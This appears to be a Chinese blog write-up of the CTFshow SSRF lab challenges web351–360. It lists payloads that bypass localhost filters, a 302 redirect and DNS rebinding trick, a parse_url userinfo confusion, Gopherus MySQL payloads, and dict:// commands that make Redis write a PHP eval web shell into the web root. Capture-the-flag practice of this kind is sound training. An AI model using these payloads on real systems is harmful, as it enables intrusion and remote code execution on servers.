CTFSHOW-SSRF

web351

简答讲解:

curl_init 初始化一个新的会话

curl_setopt 为 cURL 会话句柄设置选项

curl_setopt($ch, CURLOPT_HEADER, 0); 表示将结果输出

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 将获取的信息以文件流的形式返回

curl_exec 执行给定的cURL会话

url=http://127.0.0.1/flag.php

web352

过滤了localhost|127.0.0

url=http://127.0.1/flag.php
url=http://127.1/flag.php
url=http://127.1/flag.php

web353

可以使用16进制或8进制进行绕过

url=http://0x7f.0.0.1/flag.php
url=http://0177.0.0.1/flag.php

web354

过滤了1和0

url=http://sudo.cc/flag.php

web355

限制了长度

url=http://127.1/flag.php
url=http://0.0/flag.php
url=http://0.0.0/flag.php

web356

也是限制了长度

url=http://0.0/flag.php
url=http://0/flag.php

web357

filter_var()函数:通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE

第一个参数为需要过滤的变量,第二个参数为规定要使用的过滤器的ID,第三个参数为规定一个包含标志/选项的关联数组或者一个单一的标志/选项

FILTER_VALIDATE_IP 过滤器,把值作为 IP 地址来验证。

这里过滤器要求解析出来的ip地址是有效ip,并且不是私有ip或者不是保留ip

方法1:

302跳转

使用vps搭一个:

在a.php中写入

<?php
header("Location: http://127.0.0.1/flag.php);

payload:

url=http://xxx/a.php

方法2:

DNS重绑定

参考:浅谈DNS重绑定漏洞 - 知乎

访问http://ceye.io/并注册用户,在这里进行DNS重绑定:

第一个随便填,第二个填127.0.0.1

然后payload:如下:

url=http://r.xxxxxx/flag.php            //xxxxxx为分给你的域名

 多尝试几次即可得到flag

web358

要求解析完的url以http://ctf.开头,以show结尾

url=http://ctf.@127.0.0.1/flag.php?show

这样parse_url()真正解析出来的host是127.0.0.1,ctf.变为了user字段

web359

工具下载地址https://github.com/tarunkant/Gopherus

python gopherus.py --exploit mysql

然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。

然后访问a.php,就可以找到flag

web360

第一种方法,和上一题类似,使用同一个工具

​ 然后和上面一样,记得url编码

(这种方法可能失败,多尝试几次)

第二种方法,执行下面的每一步

url=dict://127.0.0.1:6379/info
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x62\x69\x74\x5d\x29\x3b\x3f\x3e"
url=dict://127.0.0.1:6379/config:set:dbfilename:bit.php
url=dict://127.0.0.1:6379/save

然后访问bit.php,post传参bit即可  ​

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值